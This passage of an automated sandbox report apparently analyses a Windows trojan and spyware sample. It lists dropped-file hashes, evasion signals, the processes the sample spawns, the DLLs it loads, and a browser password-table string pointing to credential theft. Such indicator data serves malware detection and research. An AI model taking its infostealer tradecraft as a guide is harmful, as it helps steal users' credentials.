Source: O4784SI9RJ8L8V71YQA7V.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Code function: 3_2_002ADCB7		3_2_002ADCB7
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Code function: 3_2_002AE729		3_2_002AE729

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe 2AEBE4A6A652C6DE494CF0A16B36FF6788933B807A2651350960B5644C7A1185
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe E65319903B70AE142A07B8BF5F4573AC65B428E26CD93CBF2380E5E00F4EFC0D

Source: w23Vg439U1.exe	Binary or memory string: OriginalFilename vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1713901144.0000000006449000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1712057916.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1698388707.000000000621B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1704208283.0000000006216000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1700706182.00000000062C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1718828546.000000000621E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1700066542.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1740644623.0000000005DEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1698083112.00000000060A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1713717112.000000000632A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1717174330.0000000006221000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1699609784.00000000062B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1703992116.000000000621F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1698223361.0000000005E6B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1700338222.0000000006365000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1704546222.0000000006303000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1704785802.0000000006302000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1713230534.000000000633A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1718117806.0000000006364000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1716011662.000000000621E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1701731002.0000000006381000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1705055416.00000000062FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1702915663.00000000062F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1705170556.00000000063E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1699799492.0000000006224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1703427831.00000000062ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1740565454.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1717831027.000000000621A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1701272129.00000000062DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1711000622.000000000631B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1703303967.0000000006218000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1706005810.0000000006413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1714131492.0000000006219000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1740893412.0000000001700000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1740772653.00000000016F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1700604105.0000000006216000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1703546453.00000000063BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1717327497.000000000635F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1704432225.000000000621E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1719363486.000000000636C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1712926310.0000000006224000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1702374487.0000000006220000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1702575401.00000000062D6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1699976706.0000000006218000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1700812066.0000000006373000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1703742100.0000000006222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1695795608.00000000060A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1705453011.0000000006314000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1701950722.00000000062D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1716371805.0000000006353000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1710167045.000000000621C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1704666060.000000000621B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1711464598.0000000006324000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1717487771.000000000621D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1711161594.0000000006421000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1710679817.000000000631A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1716603613.0000000006219000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1712532573.0000000006444000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1712276036.0000000006332000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1701843365.000000000621A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1704319896.0000000006301000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1702285937.00000000062E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1700427937.000000000621C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1715317079.000000000645E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1701618662.00000000062C9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1716801476.000000000634D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1702178430.0000000006219000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1718657242.00000000064B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1703032724.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1740696118.0000000005DDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1719010788.0000000006375000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1704089128.00000000062FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1715504203.0000000006221000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1715129587.000000000633C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1717012699.0000000006483000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1719183024.0000000006221000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1700156937.000000000621E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1700248187.00000000062B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1704905476.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1711744912.0000000006222000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1698588931.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1710835579.000000000621D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1714314100.000000000633F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1695795608.0000000006016000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1701430695.0000000006216000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1713511182.000000000621A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1719705840.000000000621C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1701050464.0000000006225000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1718301452.000000000621F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1698713609.000000000621D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1702805841.000000000621C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1695795608.000000000605D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1702069453.000000000638B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1731720996.00000000064CF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1715712063.0000000006347000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1699710229.0000000005E6D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1705295027.000000000621B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1700508124.00000000062C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1718478258.0000000006360000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1707271415.000000000621D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1699886595.00000000062C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1703870151.00000000062FB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1711898453.0000000006326000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1702686282.00000000063A1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1711618570.000000000642D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1717655308.000000000635F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1714485816.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1740493518.0000000006016000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1703142771.00000000062F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1708944233.000000000631B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe
Source: w23Vg439U1.exe, 00000000.00000003.1711309575.000000000621A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs w23Vg439U1.exe

Source: w23Vg439U1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: w23Vg439U1.exe	Static PE information: Section: ZLIB complexity 0.9974248180650684
Source: w23Vg439U1.exe	Static PE information: Section: pbhclupd ZLIB complexity 0.9946922435602575

Source: O4784SI9RJ8L8V71YQA7V.exe.0.dr

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@1/3

Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3OJIEMQOE0U9W5K609DU0.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\w23Vg439U1.exe

File created: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe

Jump to behavior

Source: C:\Users\user\Desktop\w23Vg439U1.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: w23Vg439U1.exe, 00000000.00000003.1508596058.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp, w23Vg439U1.exe, 00000000.00000003.1508482568.0000000005D89000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: w23Vg439U1.exe	Virustotal: Detection: 54%
Source: w23Vg439U1.exe	ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\w23Vg439U1.exe

File read: C:\Users\user\Desktop\w23Vg439U1.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\w23Vg439U1.exe "C:\Users\user\Desktop\w23Vg439U1.exe"
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Process created: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe "C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe"
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Process created: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe "C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe"
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Process created: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe "C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe"	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Process created: C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe "C:\Users\user\AppData\Local\Temp\O4784SI9RJ8L8V71YQA7V.exe"	Jump to behavior

Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\w23Vg439U1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3OJIEMQOE0U9W5K609DU0.exe	Section loaded: wldp.dll	Jump to behavior
